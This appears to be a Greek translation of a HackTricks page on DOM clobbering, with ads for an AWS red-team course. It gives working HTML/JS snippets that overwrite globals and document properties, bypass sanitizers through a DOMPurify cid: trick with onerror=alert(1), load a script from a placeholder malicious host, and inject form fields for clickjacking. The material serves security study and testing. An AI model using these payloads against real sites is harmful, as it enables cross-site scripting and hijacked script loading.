Dom Clobbering

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Βασικά

Είναι δυνατόν να δημιουργήσετε παγκόσμιες μεταβλητές μέσα στο περιβάλλον του JS με τα χαρακτηριστικά id και name σε ετικέτες HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Μόνο συγκεκριμένα στοιχεία μπορούν να χρησιμοποιήσουν το name attribute για να αντικαταστήσουν τις γενικές μεταβλητές, αυτά είναι: embed, form, iframe, image, img και object.

Ενδιαφέροντα, όταν χρησιμοποιείτε ένα στοιχείο form για να αντικαταστήσετε μια μεταβλητή, θα λάβετε την τιμή toString του ίδιου του στοιχείου: [object HTMLFormElement], αλλά με το στοιχείο anchor, το toString θα είναι το href του anchor. Επομένως, αν αντικαταστήσετε χρησιμοποιώντας το στοιχείο a, μπορείτε να ελέγξετε την τιμή όταν αντιμετωπίζεται ως συμβολοσειρά:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Πίνακες & Χαρακτηριστικά

Είναι επίσης δυνατό να καταστρέψετε έναν πίνακα και χαρακτηριστικά αντικειμένων:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Για να καταργήσετε ένα τρίτο χαρακτηριστικό (π.χ. x.y.z), πρέπει να χρησιμοποιήσετε ένα form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Η αντικατάσταση περισσότερων χαρακτηριστικών είναι πιο περίπλοκη αλλά εξακολουθεί να είναι δυνατή, χρησιμοποιώντας iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Η ετικέτα style χρησιμοποιείται για να δώσει αρκετό χρόνο στο iframe να απεικονιστεί. Χωρίς αυτό, θα εμφανιστεί ένα αναπάντεχο μήνυμα undefined.

Για να αντικαταστήσετε βαθύτερα χαρακτηριστικά, μπορείτε να χρησιμοποιήσετε iframes με κωδικοποίηση html με τον εξής τρόπο:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Παράκαμψη Φίλτρου

Εάν ένα φίλτρο κάνει επανάληψη μέσω των ιδιοτήτων ενός κόμβου χρησιμοποιώντας κάτι σαν document.getElementByID('x').attributes, μπορείτε να αντικαταστήσετε την ιδιότητα .attributes και να σπάσετε το φίλτρο. Άλλες ιδιότητες του DOM όπως tagName, nodeName ή parentNode και άλλες μπορούν επίσης να αντικατασταθούν.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Αντικατάσταση του window.someObject

Στην JavaScript είναι συνηθισμένο να βρίσκουμε:

var someObject = window.someObject || {};

Η παραπλάνηση του HTML στη σελίδα επιτρέπει την αντικατάσταση του someObject με έναν κόμβο DOM, πιθανώς εισάγοντας ευπάθειες ασφαλείας. Για παράδειγμα, μπορείτε να αντικαταστήσετε το someObject με ένα στοιχείο αγκύρωσης που δείχνει σε ένα κακόβουλο σενάριο:

<a id=someObject href=//malicious-website.com/malicious.js></a>

Σε ένα ευάλωτο κώδικα όπως:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Αυτή η μέθοδος εκμεταλλεύεται την πηγή του script για να εκτελέσει μη επιθυμητό κώδικα.

Κόλπο: Το DOMPurify σας επιτρέπει να χρησιμοποιήσετε το πρωτόκολλο cid:, το οποίο δεν κωδικοποιεί τις διπλές εισαγωγικές. Αυτό σημαίνει ότι μπορείτε να εισάγετε μια κωδικοποιημένη διπλή εισαγωγική που θα αποκωδικοποιηθεί κατά την εκτέλεση. Επομένως, η εισαγωγή κάτι σαν <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> θα κάνει το κωδικοποιημένο HTML &quot; να αποκωδικοποιηθεί κατά την εκτέλεση και να αποδράσει από την τιμή του γνωρίσματος για να δημιουργήσει το γεγονός onerror.

Μια άλλη τεχνική χρησιμοποιεί ένα στοιχείο form. Ορισμένες βιβλιοθήκες πελάτη επιθεωρούν τα γνωρίσματα ενός νεοδημιουργημένου στοιχείου φόρμας για να τα καθαρίσουν. Ωστόσο, προσθέτοντας ένα input με id=attributes μέσα στη φόρμα, αντικαθιστάτε αποτελεσματικά την ιδιότητα γνωρισμάτων, εμποδίζοντας τον απολυμαντή να έχει πρόσβαση στα πραγματικά γνωρίσματα.

Μπορείτε να βρείτε ένα παράδειγμα αυτού του είδους του clobbering σε αυτό το CTF writeup.

Clobbering αντικειμένου document

Σύμφωνα με την τεκμηρίωση, είναι δυνατό να αντικαταστήσετε γνωρίσματα του αντικειμένου document χρησιμοποιώντας το DOM Clobbering:

Η διεπαφή Document υποστηρίζει ονομασμένες ιδιότητες. Οι υποστηριζόμενες ονομασμένες ιδιότητες ενός αντικειμένου Document σε οποιαδήποτε στιγμή αποτελούνται από τα εξής, με σειρά δέντρου σύμφωνα με το στοιχείο που τα συνέβαλε, αγνοώντας τυχόν αργότερα διπλότυπα και με τιμές από τα γνωρίσματα id να έρχονται πριν από τις τιμές από τα γνωρίσματα name όταν το ίδιο στοιχείο συνεισφέρει και τα δύο:

- Η τιμή του γνωρίσματος περιεχομένου name για όλα τα εκτεθειμένα στοιχεία embed, form, iframe, img και εκτεθειμένα στοιχεία object που έχουν ένα μη κενό γνώρισμα περιεχομένου name και είναι σε ένα δέντρο εγγράφου με το έγγραφο ως ρίζα; - Η τιμή του γνωρίσματος περιεχομένου id για όλα τα εκτεθειμένα στοιχεία object που έχουν ένα μη κενό γνώρισμα περιεχομένου id και είναι σε ένα δέντρο εγγράφου με το έγγραφο ως ρίζα; - Η τιμή του γνωρίσματος περιεχομένου id για όλα τα στοιχεία img που έχουν τόσο ένα μη κενό γνώρισμα περιεχομένου id όσο και ένα μη κενό γνώρισμα περιεχομένου name και είναι σε ένα δέντρο εγγράφου με το έγγραφο ως ρίζα.

Χρησιμοποιώντας αυτήν την τεχνική, μπορείτε να αντικαταστήσετε συχνά χρησιμοποιούμενες τιμές όπως document.cookie, document.body, document.children, και ακόμα και μεθόδους στη διεπαφή Document όπως document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Γράψιμο μετά την αντικατάσταση του στοιχείου

Τα αποτελέσματα των κλήσεων στις document.getElementById() και document.querySelector() μπορούν να τροποποιηθούν εισάγοντας ένα ετικέτα <html> ή <body> με ένα ίδιο χαρακτηριστικό id. Ακολουθεί ο τρόπος με τον οποίο μπορεί να γίνει αυτό:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Επιπλέον, με τη χρήση στυλ για να κρύψετε αυτές τις εισαγμένες ετικέτες HTML/body, μπορεί να αποτραπεί η παρεμβολή από άλλο κείμενο στο innerText, βελτιώνοντας έτσι την αποτελεσματικότητα της επίθεσης:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Οι έρευνες για το SVG αποκάλυψαν ότι μια ετικέτα <body> μπορεί επίσης να χρησιμοποιηθεί αποτελεσματικά:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Για να λειτουργήσει η ετικέτα HTML μέσα σε SVG σε προγράμματα περιήγησης όπως το Chrome και το Firefox, απαιτείται η χρήση της ετικέτας <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Καταστροφή Φορμών

Είναι δυνατόν να προστεθούν νέες καταχωρήσεις μέσα σε μια φόρμα απλά καθορίζοντας το χαρακτηριστικό form μέσα σε ορισμένες ετικέτες. Μπορείτε να χρησιμοποιήσετε αυτό για να προσθέσετε νέες τιμές μέσα σε μια φόρμα και ακόμα να προσθέσετε ένα νέο κουμπί για να την αποστείλετε (clickjacking ή κατάχρηση κάποιου κώδικα JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
  • Για περισσότερα χαρακτηριστικά φόρμας στο button check this.

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated